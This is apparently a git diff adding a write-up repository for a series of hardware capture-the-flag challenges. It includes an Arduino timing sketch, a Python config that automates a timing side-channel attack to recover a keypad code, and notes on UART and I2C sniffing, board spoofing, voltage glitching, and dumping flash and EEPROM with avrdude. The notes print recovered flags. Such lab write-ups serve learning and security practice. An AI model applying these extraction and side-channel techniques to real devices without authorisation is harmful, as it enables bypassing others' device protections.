+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/docs/09_result.png b/docs/09_result.png
new file mode 100644
index 0000000..69d6d2f
--- /dev/null
+++ b/docs/09_result.png
Binary files differ
diff --git a/docs/09_setup.png b/docs/09_setup.png
new file mode 100644
index 0000000..b73fbf5
--- /dev/null
+++ b/docs/09_setup.png
Binary files differ
diff --git a/docs/10_GoB.png b/docs/10_GoB.png
new file mode 100644
index 0000000..f694e8c
--- /dev/null
+++ b/docs/10_GoB.png
Binary files differ
diff --git a/docs/10_GoB_config.py b/docs/10_GoB_config.py
new file mode 100644
index 0000000..01de69c
--- /dev/null
+++ b/docs/10_GoB_config.py
@@ -0,0 +1,152 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
+
+ functions.add_text("[INFO] Starting full code discovery sequence")
+
+ for digit_index in range(4):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
+ sequence = code_sequence.copy()
+ remaining_pulses = 4 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)}")
+
+ # Send all pulses in the sequence, starting timer immediately before the fourth pulse
+ for i, pin in enumerate(sequence):
+ if i == len(sequence) - 1:
+ # Start timer immediately before sending the fourth pulse
+ start_time = time.time()
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ # Allow a short interval for the device to react
+ time.sleep(0.05)
+ # Wait for the input to go HIGH and capture result
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Safely extract duration from result or compute fallback
+ if isinstance(result, dict):
+ duration = result.get("duration_ms",
+ int((end_time - start_time) * 1000))
+ else:
+ duration = int((end_time - start_time) * 1000)
+
+ functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
+ results[test_pin] = duration
+ else:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ # small pause between candidates
+ time.sleep(0.8)
+
+ # Choose the candidate with the longest duration for this digit
+ correct_pin = max(results, key=results.get)
+ code_sequence.append(correct_pin)
+
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
+
+def stop_glitch():
+ functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/docs/10_setup.png b/docs/10_setup.png
new file mode 100644
index 0000000..008945c
--- /dev/null
+++ b/docs/10_setup.png
Binary files differ
diff --git a/docs/11_GoB.png b/docs/11_GoB.png
new file mode 100644
index 0000000..07f38ae
--- /dev/null
+++ b/docs/11_GoB.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
